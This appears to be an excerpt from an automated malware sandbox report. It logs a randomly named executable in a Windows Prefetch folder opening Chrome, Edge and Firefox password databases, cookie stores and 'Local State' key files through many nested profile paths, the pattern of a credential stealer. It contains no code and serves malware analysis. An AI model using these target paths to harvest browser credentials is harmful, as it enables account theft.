Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
